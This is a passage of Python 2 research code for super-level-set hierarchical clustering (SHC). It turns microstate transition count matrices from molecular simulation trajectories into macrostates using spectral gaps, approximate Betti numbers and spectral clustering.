trajlistfiles = (options.trajlist)
pLevelsFilename = (options.plevelsFile)
outMacrostateAssignementsMap = (options.outMacrostateAssignementsMap)
optimumMacrostateSize = float(options.optimumMacrostateSize)
writeMAssignments = int(options.writeMacroAssignments)
maximumAssignIterations = int(options.maximumAssignIterations)
numRemoveBarelyConnectedMicros = int(options.removeBarelyConnectedMicros)
writeTCMtxt = int(options.writeTCMtxt)
scanModeTopDensity = float(options.scanModeTopDensity)
inputMatrix = (options.inputMatrix)
outFlowGraphName = (options.outFlowGraphName)
bJumpWindow = int(options.bJumpWindow)
chooseGap = int(options.whichGap)
#if (len(inputMatrix) == 0 ):
# originalMicrosCountM= getMicroTransitionsFromAssignements(tLag, headDir, trajlistfiles, bJumpWindow)
#else:
# print "(OUTPUT) ", ("Reading data from TCM file: \"%s\" ", inputMatrix)
# if ( linecache.getline(inputMatrix, 1).strip() == "%%MatrixMarket matrix coordinate integer general"):
# print "(OUTPUT) ", ("Detected sparce matrix in the Matrix Market format")
# originalMicrosCountM = scipy.io.mmread(inputMatrix)
# else:
# print "(OUTPUT) ", ("Detected matrix in raw txt format")
# originalMicrosCountM = genfromtxt(inputMatrix)
# originalMicrosCountM = lil_matrix(originalMicrosCountM)
originalMicrosCountM = scipy.io.mmread(inputMatrix)
#The code is made to use a float matrix, even if the input (transitions) are integers. This way is just convinient to avoid errors due to loosing floats
originalMicrosCountM = originalMicrosCountM.tocsc()/1.0
writeCountMatrix(originalMicrosCountM, outMicroCountMatrixName, "Writing microstates transition count matrix", writeTCMtxt)
if (numRemoveBarelyConnectedMicros > 0):
originalMicrosCountM = removeBarelyConnectedMicros(originalMicrosCountM, numRemoveBarelyConnectedMicros)
connectedMicrosCountM, connectedMicrosIndex = getConnectedMicrostates(originalMicrosCountM)
writeCountMatrix(connectedMicrosCountM, ("%s_connected" % outMicroCountMatrixName), "Writing connected microstates transition count matrix", 0)
connectedMicrosCountM_X = csc_matrix(connectedMicrosCountM + connectedMicrosCountM.conj().transpose())/2 ;
microstate_size = connectedMicrosCountM.sum(axis=1)
cumulativeSumOfRows = cumulativeDesityFunctionOfHeightFilter(microstate_size)
pLevels=[]
if ( scanModeTopDensity > 0.0 ):
pLevels = scanPlevels(cumulativeSumOfRows, connectedMicrosCountM_X, microstate_size, 0.01, 0.01, scanModeTopDensity, chooseGap)
else:
pLevels = readPlevels(pLevelsFilename, cumulativeSumOfRows)
clusters = zeros(len(pLevels), int)
levels = []
levelsLine=""
for i in range (0, len(pLevels)):
if ((sum(cumulativeSumOfRows<=pLevels[i])) > 2): #Detect and remove density levels with <10 microstate
levels.append(sum(cumulativeSumOfRows<=pLevels[i]))
levelsLine += ("%1.3f " % pLevels[i])
else:
print "(OUTPUT) ", ("Density level at \"%1.3f\" is empty or have to few microstates (<2), it was removed it from the analysis"% (pLevels[i]))
print "(OUTPUT) ", ("**SHC analysis will use %d density levels: %s" % (len(levels), levelsLine))
(aBettis, specGaps) = apBetti(connectedMicrosCountM_X, microstate_size, levels)
for i in range (0, len(levels)):
if (chooseGap < 1):
print "(OUTPUT) ", ("WARNING: The spectral gap choosen (1st, 2nd, etc) cannot have a value less than 1, automaticaly changing the gap (-g) to 1")
chooseGap=1
if (chooseGap > 1):
print "(OUTPUT) ", ("WARNING:You are using an spectral gap ( ) different to the 1st. Is this really what you want to do?")
clusters[i] = aBettis[i][chooseGap-1]
superLevels=superLevelSet(microstate_size, levels, clusters) #0 is IDs and 1 is IGs
(adja, nodeInfoLevel, nodeInfoLevelSize, nodeInfoSet, nodeInfoFilter, levelIdx, ci, csize) = superMapper(connectedMicrosCountM_X, superLevels)
(cptLocalMax, cptGradFlow, cptEquilibriumEQ) = flowGrad(adja, levelIdx, nodeInfoLevel, nodeInfoLevelSize, nodeInfoSet, nodeInfoFilter)
writeFlowGraph(cptGradFlow, nodeInfoLevel, nodeInfoLevelSize, nodeInfoSet, nodeInfoFilter, levelIdx, superLevels, outFlowGraphName, pLevels)
(ci, csize, fassign, T, Qmax, id_fuzzy) = optimumAssignment(connectedMicrosCountM_X, cptEquilibriumEQ, nodeInfoLevelSize, nodeInfoSet, nodeInfoFilter, maximumAssignIterations)
writeMacrostateMap(outMacrostateAssignementsMap, originalMicrosCountM.shape[0], ci, connectedMicrosIndex)
if (writeMAssignments ==1):
writeMacroAssignments(tLag, headDir, trajlistfiles, ci, connectedMicrosIndex, originalMicrosCountM.shape[0])
print "(OUTPUT) ", ("Done with SHC!")
def scanPlevels(cumulativeSumOfRows, connectedMicrosCountM_X, microstate_size, start, incr, end, chooseGap):
print "(OUTPUT) ", "Will perform a scan to discover optimum density levels for SHC (EXPERIMENTAL)"
clustersScan = zeros(1, int)
pLevels=[]
pLevelsScan=[]
pLevelsScan.append(0)
pLevelSGQuality=[]
pLevelNumMacro=[]
tmpMaxNumMacro=0
tmpMaxGapQuality=0
testLevels = np.arange(start,end,incr)
for i in testLevels:
levelsScan = []
pLevelsScan[0] = i
specGapQuality=0
print "(OUTPUT) ", ("Testing Density level: \"%1.3f\" " % pLevelsScan[0])
if ((sum(cumulativeSumOfRows<=pLevelsScan[0])) > 1+chooseGap):
levelsScan.append(sum(cumulativeSumOfRows<=pLevelsScan[0]))
(aBettis, specGaps) = apBetti(connectedMicrosCountM_X, microstate_size, levelsScan)
clustersScan[0] = aBettis[0][0]
superLevels=superLevelSet(microstate_size, levelsScan, clustersScan) #0 is IDs and 1 is IGs
(adja, nodeInfoLevel, nodeInfoLevelSize, nodeInfoSet, nodeInfoFilter, levelIdx, ci, csize) = superMapper(connectedMicrosCountM_X, superLevels)
print specGaps
specGapQuality = specGaps[0][chooseGap-1] - specGaps[0][chooseGap]
if ( (len(csize[0])) > tmpMaxNumMacro):
tmpMaxNumMacro = len(csize[0])
tmpMaxGapQuality = specGapQuality
pLevels.append(np.copy(pLevelsScan[0]))
pLevelSGQuality.append(np.copy(specGapQuality))
pLevelNumMacro.append(np.copy(tmpMaxNumMacro))
elif ( ((len(csize[0])) <= tmpMaxNumMacro) and (specGapQuality > tmpMaxGapQuality) ):
tmpMaxNumMacro = len(csize[0])
tmpMaxGapQuality = specGapQuality
pLevels[(len(pLevels)-1)] = pLevelsScan[0]
pLevelSGQuality[(len(pLevels)-1)] = specGapQuality
pLevelNumMacro[(len(pLevels)-1)] = len(csize[0])
else:
print "(OUTPUT) ", ("Skipping density level at \"%1.3f\" because it contains to few microstates ( <2 )" % pLevelsScan[0])
print "(OUTPUT) ", "Optimum density levels identified & num of macrostates per level:"
counter=0
for i in pLevels:
print "(OUTPUT) \t", i, "\t", pLevelNumMacro[counter]
counter+=1
print "(OUTPUT) ", "Sum of the differences of the spectral gaps:"
for i in pLevelSGQuality:
print "(OUTPUT) ", i
print "(OUTPUT) ", "Density levels scan DONE. Proceding to the SHC clustering!"
return pLevels
def removeBarelyConnectedMicros(originalMicrosCountM, numRemoveBarelyConnectedMicros):
print "(OUTPUT) ", ("Removing barely connected microstates with a cut off <%d transitions (in or out) (EXPERIMENTAL)" % numRemoveBarelyConnectedMicros)
counter=0
originalMicrosCountM = originalMicrosCountM.todense()
for i in range (0, originalMicrosCountM.shape[0]):
if (((originalMicrosCountM[i,:].sum() - originalMicrosCountM[i,i] - numRemoveBarelyConnectedMicros) < 0 ) or ((originalMicrosCountM[:,i].sum() - originalMicrosCountM[i,i] - numRemoveBarelyConnectedMicros) < 0 )):
counter+=1
originalMicrosCountM[i,:] = 0
originalMicrosCountM[:,i] = 0
print "(OUTPUT) ", ("Removed %d barely connected microstates (turn to pop 0)..." % counter)
originalMicrosCountM = csc_matrix(originalMicrosCountM)
return(originalMicrosCountM)
def writeMacrostateMap(outName, nMicro, ci, connectedMicrosIndex):
print "(OUTPUT) ", ("Writting macrostate maping file: %s" % outName)
f = open(outName,'w')
micro2macro = zeros((nMicro), int)
micro2macro[connectedMicrosIndex] = ci
for i in range(0, nMicro):
line = (micro2macro[i]-1)
print >>f, line
f.close()
print "(OUTPUT) ", ("Done writting macrostate maping file!")
def writeMacroAssignments(tLag, headDir, trajlistfiles, ci, connectedMicrosIndex, nMicro):
print "(OUTPUT) ", ("Writting macrostate assignments to:")
micro2macro = zeros((nMicro), int)
micro2macro[connectedMicrosIndex] = ci
for filenameInp in file(trajlistfiles):
filenameInp = filenameInp.strip()
filenameInp = "%s/assignments/%s" % (headDir,filenameInp)
tmpLineLen=len(filenameInp)+10
sys.stdout.write('(OUTPUT) %s' % filenameInp)
for i in range (0, tmpLineLen):
sys.stdout.write('\b')
output = []
for line in file(filenameInp):
line=line.strip().split()
if (int(line[0]) > -1):
lineout="%d %d" %( int(line[0]), (micro2macro[int(line[0])] -1))
else:
lineout="%d -1" %( int(line[0]))
output.append(lineout)
f = open(filenameInp,'w')
for line in output:
print >>f, line
f.close()
print "\n", "(OUTPUT) ", ("Done writting macrostate assignments!")
def getMicroTransitionsFromAssignements(tLag, headDir, trajlistfiles,bJumpWindow):
originalNumOfMicros=0
totalCounts=0
numberOfTrajs=0
print "(OUTPUT) ", ("Assesing the number of microstates...")
for filenameInp in file(trajlistfiles):
filenameInp = filenameInp.strip()
filenameInp = "%s/assignments/%s" % (headDir,filenameInp)
tmpLineLen=len(filenameInp)+10
numberOfTrajs+=1
sys.stdout.write('(OUTPUT) %s' % filenameInp)
for i in range (0, tmpLineLen):
sys.stdout.write('\b')
for line in file(filenameInp):
line = line.strip().split()
line = int(line[0])
if (line > originalNumOfMicros):
originalNumOfMicros = line
if (originalNumOfMicros>0):
originalNumOfMicros+=1
print "(OUTPUT) ", ("Found %d microstates in %d trajectories" % (originalNumOfMicros, numberOfTrajs))
elif (originalNumOfMicros==0):
print "(OUTPUT) ", ("Found 0 microstates in %d trajectories, cannot continue!", numberOfTrajs)
exit(0)
print "(OUTPUT) ", ("Reading microstates assignments from files and counting transitions:")
originalMicrosCount= lil_matrix((originalNumOfMicros, originalNumOfMicros))
tmpLineLen=0
for filenameInp in file(trajlistfiles):
filenameInp = filenameInp.strip()
filenameInp = "%s/assignments/%s" % (headDir,filenameInp)
tmpLineLen=len(filenameInp)+10
for i in range (0, tmpLineLen):
sys.stdout.write('\b')
previousm=-1
trajLength = 0
for line in file(filenameInp):
trajLength += 1
###NEXT IS SLIDING WINDOW###
if ( bJumpWindow == 0 ):
trajectory=zeros ((trajLength), int)
for i in range (1, trajLength):
line = linecache.getline(filenameInp, i).strip().split()
trajectory[i] = line[0]
for i in range (0, trajLength-tLag):
if ((trajectory[i] >= 0) & (trajectory[i+tLag]>= 0)) :
originalMicrosCount[trajectory[i], trajectory[i+tLag]]+=1
###END SLIDING WINDOW###
###NEXT IS JUMP WINDOW###
if ( bJumpWindow == 1 ):
trajectory=zeros ((trajLength/tLag)+1, int)
for i in range (0, trajLength): #Qin's Fix (THX)
line = linecache.getline(filenameInp, i+1).strip().split()
if(i%tLag==0): #Qin's Fix (THX)
trajectory[i/tLag]=(int(line[0]))
for i in range(0, (trajLength/tLag)-1):
if ((trajectory[i] >= 0) & (trajectory[i+1]>= 0)) :
originalMicrosCount[trajectory[i], trajectory[i+1]]+=1
###END JUMP WINDOW##
print "\n", "(OUTPUT) ", ("Finished with microstates count!")
print "(OUTPUT) ", ("Total number of microstate transitions: %d" % originalMicrosCount.sum() )
originalMicrosCount = originalMicrosCount.tocsc()
emptyNumber=0
for i in range (0, originalNumOfMicros):
if ((originalMicrosCount[i,:].sum() + originalMicrosCount[:,i].sum()) == 0):
emptyNumber+=1
print("Warning microstate %d is empty!" % i)
if(emptyNumber > 0):
print "(OUTPUT) ", ("Warning, there are %d empty microstates" % emptyNumber)
print "(OUTPUT) ", ("There are %d non-empty microstates" % (originalMicrosCount.shape[0]-emptyNumber))
return (originalMicrosCount)
def writeCountMatrix ( originalMicrosCount, outMicroCountMatrixName, message, doWriteTXT):
print "(OUTPUT) ", (message)
scipy.io.mmwrite(outMicroCountMatrixName, originalMicrosCount, field="integer")
if (doWriteTXT == 1):
print "(OUTPUT) Writing (also) a count matrix in TXT format! (May be very slow, be patient)"
outMicroCountMatrixName="%s.txt"%(outMicroCountMatrixName)
f = open(outMicroCountMatrixName,'w')
advanceCounter=0.0
numMicros=originalMicrosCount.shape[0]
originalMicrosCount=originalMicrosCount.tolil()
outline="0.0% Complete"
sys.stdout.write('(OUTPUT) %s' %outline)
for i in range(0, numMicros):
advanceCounter+=1.0
print advanceCounter, numMicros
line=" "
for j in range(0, numMicros):
line+= str(int(originalMicrosCount[i,j])) + " "
print >>f, line
if (advanceCounter >= (numMicros/100.0)):
for k in range (0, len(outline)+10):
sys.stdout.write('\b')
sys.stdout.write('(OUTPUT) %s' % outline)
outline="%.1f%% Complete " % ((i+1)*100/numMicros)
advanceCounter=0
print "\n", "(OUTPUT) ", ("Finished TXT write!")
f.close()
def getConnectedMicrostates (originalMicrosCount):
print "(OUTPUT) ", ("Searching connected microstates using graph theory")
microConnectedComponents=cs_graph_components((originalMicrosCount + originalMicrosCount.conj().transpose()))
componentsSize=zeros((microConnectedComponents[0]+1), int)
emptySize=0
for i in microConnectedComponents[1]:
if (i >= 0):
componentsSize[i+1]+=1
else:
emptySize +=1
indexMaxConnected, sizeMaxConnected = componentsSize.argmax(0), componentsSize.max(0)
lineout = ("Found %d connected microstates, %d disconnected microstates and %d empty microstates" % (sizeMaxConnected, (componentsSize.sum()-sizeMaxConnected), emptySize))
print "(OUTPUT) ", lineout
if ((emptySize > 0) | ((componentsSize.sum()-sizeMaxConnected) > 0)):
print "(OUTPUT) ", "Removing disconnected microstates"
connectedMicrosIndex = where(microConnectedComponents[1] == (indexMaxConnected-1))
connectedMicrosIndex = getIndexFromArray(connectedMicrosIndex[0])
connectedMicros = originalMicrosCount[ix_(connectedMicrosIndex,connectedMicrosIndex)]
else:
connectedMicros = originalMicrosCount
connectedMicrosIndex = range(0,componentsSize.sum())
return connectedMicros, connectedMicrosIndex
def readPlevels(fileName, cumulativeSumOfRows):
print "(OUTPUT) ", ("Reading density levels from file: %s" % fileName)
pLevels=[]
for line in file(fileName):
line = line.strip()
pLevels.append(float(line))
return (pLevels)
def cumulativeDesityFunctionOfHeightFilter(x):
total = sum(x)
x = -x
x.ravel().sort()
x = -x
y = x.cumsum(axis=0)/total
return y
def getIndexFromMatrix(indexA):
xx = indexA
xxx=[]
for i in range (0, len(xx)):
xxx.append(xx[i,0])
return(xxx)
def getIndexBFromMatrix(indexB):
xx = indexB
xxx=[]
for i in range (0, len(xx)):
xxx.append(xx[0,i])
return(xxx)
def getIndexFromArray(indexA):
xx = indexA
xxx=[]
for i in range (0, len(xx)):
xxx.append(xx[i])
return(xxx)
def IntList2array(listA):
xx = listA
xxx= zeros((len(listA)),int)
for i in range (0, len(xx)):
xxx[i] = xx[i]
return(xxx)
def apBetti(X, filterX, levels):
print "(OUTPUT) ", ("Computing persistent aproximate betti numbers via spectral gaps")
#X = X.tocsc()
ig = filterX/(max(filterX))
#print "PPC",filterX, (max(filterX))
ig = -ig
rk = ig.argsort(axis=0)
ig.sort(axis=0)
ig = -ig
MAXNUMBEREIG = 20;
k = MAXNUMBEREIG
eps = 1e-4
randSurf = 1e-1
N = len(filterX)
revecs = []
revals = []
Components = []
specGaps = []
aBettis = []
for i in range (0, len(levels)):
revecs.append(0)
revals.append(0)
Components.append(0)
specGaps.append(0)
aBettis.append(0)
print "(OUTPUT) ", ("Level\tSize\t#Comp\tB0_1\tGap_1\t\tB0_2\tGap_2\t\tB0_3\tGap_3")
for i in range (0, len(levels)):
if (levels[i] > 1):
n = int(levels[i])
else:
n = int(sum(ig>=levels[i]))
outline= ("%d\t %d\t"%(i,n));
if (n == 1):
Components[i] = 1
specGaps[i] = ones(MAXNUMBEREIG);
aBettis[i] = [1, zeros(MAXNUMBEREIG-1)]
else:
tmpindx = getIndexFromMatrix(rk[0:n])
Y = csc_matrix(((X[ix_(tmpindx,tmpindx)])) + (eps*identity(n)) +(randSurf * ones((n,n), float)/n))
Y2 = zeros((n,n))
tmparray=[]
for j in Y.sum(axis=1):
tmparray.append(j[0,0])
Y2[diag_indices(n)]= tmparray
Y2 = csc_matrix(Y2)
sigma = 1+eps+randSurf
B = Y - sigma*Y2
sigma_solve = dsolve.splu(B)
Y2L = aslinearoperator(Y2)
if ((n-4) > MAXNUMBEREIG):
# revals[i],revecs[i] = ARPACK_gen_eigs( Y2L.matvec, sigma_solve.solve, Y2L.shape[0], sigma, MAXNUMBEREIG, 'LM' )
revals[i],revecs[i] = eigs( Y, MAXNUMBEREIG, Y2, sigma, which='LM', maxiter=10000 )
else:
revals[i],revecs[i] = scipy.linalg.eig( Y.todense(),Y2.todense() )
revals[i]=real(revals[i])
#SORT EIGENVALUES AND EIGENVECTORS
tmpindsort = argsort(-revals[i])
revals[i] = revals[i][tmpindsort]
revecs[i] = revecs[i][:, tmpindsort] # second axis !!
if (n > MAXNUMBEREIG):
revals[i] = revals[i][:MAXNUMBEREIG]
revecs[i] = revecs[i][:, :MAXNUMBEREIG]
#Remove later DASM
# tmplineout=""
# for ii in revals[i]:
# tmplineout+=" "+ str(ii)
# print "(DEBUG) Using a matrix of %ix%i, eigenvalues are:\n(DEBUG) \t" %((n-4),(n-4)), tmplineout
#END REMOVE#
Components[i] = sum(revals[i]>(1-1e-5))
tmpSpecGaps = -(abs(diff(revals[i])))
aBettis[i] = tmpSpecGaps.argsort(axis=0)
for xx in range (1, len(revals[i])): #FIX for eigenvalues = 1.0 on lowlevels
if ((revals[i][xx]+1e-5) >= 1) and (aBettis[i][0] < xx):
aBettis[i][0]+=1
else:
break
tmpSpecGaps.sort(axis=0)
specGaps[i] = -tmpSpecGaps
outline += ('%d\t'% Components[i])
for gaplist in range (0, min(3,len(aBettis[i]))):
outline += ('%d\t %f\t'%(aBettis[i][gaplist], specGaps[i][gaplist]));
print "(OUTPUT) ", outline
print "(OUTPUT) ",("Done with betti numbers!")
return (aBettis, specGaps)
def superLevelSet(filterX, levels, clusters):
ig = -filterX
idd = ig.argsort(axis=0)
ig.sort(axis=0)
ig = -ig
superLevelSetId = []
superLevelSetIg = []
for i in range (0, len (levels)):
superLevelSetId.append(np.copy(idd[0:levels[i]]))
superLevelSetIg.append(np.copy(clusters[i]))
return (superLevelSetId, superLevelSetIg)
def superMapper (X,superLevelSet):
print "(OUTPUT) ", ('Executing the SMapper')
numPoints = X.shape[0]
dim = X.shape[1]
if (dim!=numPoints):
print "(OUTPUT) ", ('ERROR: the input for the mapper must be a symmetric transition count matrix!')
sys.exit()
numLevels = len(superLevelSet[0])
lengthX = []
idxSort = []
for i in range (0, numLevels):
lengthX=concatenate((lengthX,len(superLevelSet[0][i])), axis=None)
tmpReshape = superLevelSet[0][i].reshape(1,lengthX[i])
tmpReshape2 = []
for j in range (0, size(tmpReshape, axis=1)):
tmpReshape2.append(np.copy(tmpReshape[0,j]))
idxSort=concatenate((idxSort,tmpReshape2), axis=None)
Y = X[ix_(idxSort,idxSort)];
print "(OUTPUT) ", ("SMapper:\tnumber of points %d" % numPoints);
print "(OUTPUT) ", ("\t\tnumber of levels %d" % len(superLevelSet[0]));
numGraphNodes = 0
nodeInfoLevel = []
nodeInfoLevelSize = []
nodeInfoSet = []
nodeInfoFilter = []
levelIdx = []
adja = []
ci = []
csize = []
numCluster = []
for level in range (0, len(superLevelSet[0])):
index1= getIndexFromMatrix(superLevelSet[0][level])
data = (X[ix_(index1,index1)])
citmp, csizetmp, specVals, specVecs, specGaps, conduct, cluster_treeData, cluster_treeConduct, cluster_treeLeft, cluster_treeRight = spectralClustering(data,superLevelSet[1][level])
ci.append(np.copy(citmp))
csize.append(np.copy(csizetmp))
numCluster.append(len(csize[level]))
print "(OUTPUT) ", ("Level %d has %d macrostates out of %d microstates" % (level ,numCluster[level], data.shape[0]))
numGraphNodes = len(nodeInfoLevel)
for i in range (0,numCluster[level]):
new_node = i + numGraphNodes
if (i==0):
levelIdx.append(np.copy([new_node]))
else:
levelIdx[level] = concatenate((levelIdx[level],new_node), axis=None)
nodeInfoLevel.append(np.copy(level));
nodeInfoLevelSize.append(data.shape[0])
thisNodeIndex = where(ci[level]==i)
nodeInfoSet.append(np.copy(superLevelSet[0][level][thisNodeIndex]))
nodeInfoFilter.append(np.copy(level))
if(level > 0):
prevLvlIdx = levelIdx[level-1]
thisLvlIdx = levelIdx[level]
for i in range (0,len(prevLvlIdx)):
for j in range (0,len(thisLvlIdx)):
a = prevLvlIdx[i]
b = thisLvlIdx[j]
N_ab = len(intersect1d(getIndexFromMatrix(nodeInfoSet[a]),getIndexFromMatrix(nodeInfoSet[b])));
if (N_ab > 0):
adja.append(np.copy([a,b,N_ab]))
adjaArray = array2matrix(adja, len(nodeInfoLevel))
if (numLevels == 1):
adjaArray = zeros((len(nodeInfoLevel),len(nodeInfoLevel)),int)
print "(OUTPUT) ", ('SMapper done...')
return(adjaArray, nodeInfoLevel, nodeInfoLevelSize, nodeInfoSet, nodeInfoFilter, levelIdx, ci, csize)
def array2matrix(arr, lenArra):
result = zeros((lenArra,lenArra),int)
for i in arr:
result[i[0]][i[1]]= i[2]
result[i[1]][i[0]]= i[2]
return (result)
def spectralClustering(X,k):
clusterSizeThreshold=0
n = X.shape[0];
eps = 1e-4
randSurf = 1e-1
MAXCLUSTER = min(50,n)
Y = csc_matrix(X + (eps*eye(n,n)) +(randSurf * ones((n,n), float)/n))
Y2 = zeros((n,n))
tmparray=[]
for j in Y.sum(axis=1):
tmparray.append(np.copy(j[0,0]))
Y2[diag_indices(n)]= tmparray
Y2 = csc_matrix(Y2)
sigma = 1+eps+randSurf
B = Y - sigma*Y2
sigma_solve = dsolve.splu(B)
Y2L = aslinearoperator(Y2)
# printDebug(MAXCLUSTER, "MAXCLUSTER")
printDebug(n, "N")
#SPARCE matrix solver HAVES SOME PROBLEM since can return eigenvalues = 0.0, maybe increment the number of cycles DASM#
if ((n-4) > MAXCLUSTER):
# specVals,specVecs = ARPACK_gen_eigs(Y2L.matvec, sigma_solve.solve, Y2L.shape[0], sigma, MAXCLUSTER-1, 'LM')
specVals,specVecs = eigs( Y, MAXCLUSTER-1, Y2, sigma, which='LM',maxiter=10000 )
printDebug(specVals,"Specvals1a")
else:
specVals,specVecs = scipy.linalg.eig(Y.todense(),Y2.todense())
specVals=real(specVals)
printDebug(specVals,"Specvals1b")
#END#
#NEXT temporary fix
# specVals,specVecs = scipy.linalg.eig(Y.todense(),Y2.todense())
# specVals=real(specVals)
#END fix
# #SORT EIGENVALUES AND EIGENVECTORS
tmpindsort = argsort(-specVals)
specVals = specVals[tmpindsort]
specVecs = specVecs[:, tmpindsort] # second axis !!
# if (n > MAXCLUSTER):
# specVals = specVals[:MAXCLUSTER]
# specVecs = specVecs[:, :MAXCLUSTER]
printDebug(specVals, "SpecvalsSortShort")
specGaps = -(abs(diff(specVals)))
numComponents = sum(specVals>1-(1e-10))
#TODO: add this DASM#
#if numComponents>1,
# cluster_tree{1}.left = 2;
# cluster_tree{1}.right = 3;
# for i=1:numComponents,
# mn = mean(abs(spectrum.vecs(:,i)));
# cluster_tree{i+1}.data = find(abs(spectrum.vecs(:,i))>=mn);
# cluster_tree{i+1}.left = 0;
# cluster_tree{i+1}.right = 0;
# id_complement = find(abs(spectrum.vecs(:,i))<mn);
# cluster_tree{i+1}.conduct = sum(sum(X(cluster_tree{i+1}.data,id_complement)))/sum(sum(X(cluster_tree{i+1}.data,cluster_tree{i+1}.data)));
# end
#end
#END TODO#
cluster_treeData=[]
cluster_treeData.append(range(0,n))
cluster_treeLeft = [0]
cluster_treeRight = [0]
cluster_treeConduct = [0]
printDebug(numComponents,"numComponents")
printDebug(k+1,"k+1")
for i in range (numComponents, k+1): #k is the number of components identified by Betty numbers
tree_size = len(cluster_treeData)
variation = zeros((tree_size))
for j in range (0, tree_size):
if ((cluster_treeLeft[j] == 0) and (cluster_treeRight[j] == 0)):
tmp = specVecs[cluster_treeData[j], i]
if (len(tmp) > 1):
variation[j] = (var(tmp)*len(tmp)/(len(tmp)-1));
else:
variation[j] = 0;
mx = variation.max(0)
ind = variation.argmax(0)
indices = cluster_treeData[ind]
printDebug(indices,"indices")
printDebug(len(indices),"lenindices")
nn = len(indices)
if (i==1):
Xsplit = csc_matrix(X[ix_(indices,indices)]+eps*eye(nn,nn)+randSurf*ones((nn,nn))/nn)
vecFiedler = specVecs[:,i]
else:
Xsplit = csc_matrix(X[ix_(indices,indices)]+eps*eye(nn,nn)+randSurf*ones((nn,nn))/nn)
Y2 = zeros((nn,nn))
tmparray=[]
for j in Xsplit.sum(axis=1):
tmparray.append(np.copy(j[0,0]))
Y2[diag_indices(nn)]= tmparray
Y2 = csc_matrix(Y2)
B = Xsplit - sigma*Y2
sigma_solve = dsolve.splu(B)
Y2L = aslinearoperator(Y2)
##TODO: maybe somethingWrongHere DASM##
if ((nn-4) > 20):
# splitVals,splitVecs = ARPACK_gen_eigs(Y2L.matvec, sigma_solve.solve, Y2L.shape[0], sigma, 3, 'LM')
splitVals,splitVecs = eigs( Xsplit, 3, Y2, sigma, which='LM',maxiter=10000 )
else:
splitVals,splitVecs = scipy.linalg.eig(Xsplit.todense(),Y2.todense())
splitVals=real(splitVals)
##END ToDo##
##SORT EIGENVALUES AND EIGENVECTORS##
tmpindsort = argsort(-splitVals)
splitVals = splitVals[tmpindsort]
splitVecs = splitVecs[:, tmpindsort] # second axis !!
if (nn > 3):
splitVals = splitVals[:3]
splitVecs = splitVecs[:, :3]
if (len(splitVecs[0]) > 1):
vecFiedler = splitVecs[:,1]
else:
vecFiedler = splitVecs
left_indices = (vecFiedler < vecFiedler.mean()).nonzero()[0]
right_indices = (vecFiedler >= vecFiedler.mean()).nonzero()[0]
if ((min(len(left_indices),len(right_indices))) > 0): #ARPACK needs matrix >=5 to get speigs
lind = tree_size + 1
rind = tree_size + 2
cluster_treeLeft[ind] = lind
cluster_treeRight[ind] = rind
indices = IntList2array(indices)
cluster_treeData.append(indices[left_indices])
cluster_treeData.append(indices[right_indices])
cluster_treeLeft.append(0)
cluster_treeRight.append(0)
cluster_treeLeft.append(0)
cluster_treeRight.append(0)
if (len(left_indices)==1):
left_indices = concatenate((left_indices[0], left_indices[0]), axis=None)
if (len(right_indices)==1):
right_indices = concatenate((right_indices[0], right_indices[0]), axis=None)
cut = Xsplit[ix_(left_indices,right_indices)].sum()
volume_left = Xsplit[ix_(left_indices,left_indices)].sum()
volume_right = Xsplit[ix_(right_indices,right_indices)].sum()
cluster_treeConduct.append(cut/min(volume_left,volume_right))
cluster_treeConduct.append(cut/min(volume_left,volume_right))
leaves = []
leaveSize = []
ci = zeros((n), int)
if ((clusterSizeThreshold > 0) and (clusterSizeThreshold < 1)):
clusterSizeThreshold = around(clusterSizeThreshold*n);
else:
clusterSizeThreshold = around(clusterSizeThreshold);
for i in range (0, len(cluster_treeData)):
if ((cluster_treeLeft[i] == 0) and (cluster_treeRight[i] == 0)):
if (len(leaves) == 0):
leaves = [i]
ci[cluster_treeData[i]] = 1
else:
leaves = concatenate((leaves,i), axis=None)
ci[cluster_treeData[i]] = len(leaves)
# print leaves #Funny that makes an extra cicle?
leaveSize = zeros((len(leaves)))
for i in range (0,len(leaves)):
leaveSize[i] = sum(ci == (i+1))
idd = (leaveSize >= clusterSizeThreshold).nonzero()[0]
csize = np.copy(leaveSize[idd])
ci = zeros((n),int)
conduct = zeros((len(idd)));
for i in range (0, len(idd)):
ci[cluster_treeData[leaves[idd[i]]]]=i
conduct[i] = cluster_treeConduct[leaves[idd[i]]]
return(ci, csize, specVals, specVecs, specGaps, conduct, cluster_treeData, cluster_treeConduct, cluster_treeLeft, cluster_treeRight)
def flowGrad(G, levelIdx, nodeInfoLevel, nodeInfoLevelSize, nodeInfoSet, nodeInfoFilter):
numLevel = len(levelIdx)
dG = triu(G);
y=[]
localMax = (where(dG.sum(axis=0)[0] == 0))[1].transpose()
dd = zeros((len(G)), int);
for i in range (0,len(localMax)):
dd[localMax[i]] = len(nodeInfoSet[localMax[i]]);
dG = dG + diag(dd)
dG_inf=dG^numLevel
for i in range (0,len(G)):
y.append(where(dG_inf[:,i] > 0))
dGdivsum = getIndexFromMatrix((1.0/dG.sum(axis=0)).transpose())
MarkovT = dG * diag(dGdivsum)
yLocalMax = localMax
yGradFlow = dG
yEquilibriumEQ = MarkovT**numLevel
print "(OUTPUT) ", ("Number of local maxima: %d" % len(localMax))
return(yLocalMax, yGradFlow, yEquilibriumEQ)
def optimumAssignment(X, cptEquilibriumEQ, nodeInfoLevelSize, nodeInfoSet, nodeInfoFilter, maximumAssignIterations):
print "(OUTPUT) ", ("Finding Optimum Assignments")
numMicro = max(X.shape[0], X.shape[1])
numNode = len(nodeInfoSet)
MacroStates = (where(diag(cptEquilibriumEQ)==1)[0]).transpose()
numMacro = len(MacroStates)
if numMacro == 1:
print "(OUTPUT) ", ("SHC has found only one Macrostate! Noting to optimize...")
ci = ones((numMicro), int)
csize = numMicro
fassign = []
T = []
Qmax = 1
id_fuzzy = []
return(ci, csize, fassign, T, Qmax, id_fuzzy)
print "(OUTPUT) ", ("Optimum assignments Done...")
distEQ = cptEquilibriumEQ[MacroStates,:]
ci = zeros((numMicro), int);
id_macro = []
# deterministic assignment on basins of local maxima
for i in range (0, numMacro):
macroBasin = (where(distEQ[i,:] == 1)[1]).transpose()
for j in range (0, len(macroBasin)):
if (j==0):
id_macro.append(np.copy(nodeInfoSet[macroBasin[j]]))
id_macro[i] = union1d(getIndexFromMatrix(id_macro[i]),getIndexFromMatrix(id_macro[i]))
else:
id_macro[i] = union1d(id_macro[i],getIndexFromMatrix(nodeInfoSet[macroBasin[j]]))
ci[id_macro[i]] = i+1 #Take care that ci is +1 since it maps microstates numbers, 0 is for fussy
# fuzzy microstates on barrier
id_fuzzy = (where(ci==0))[0]
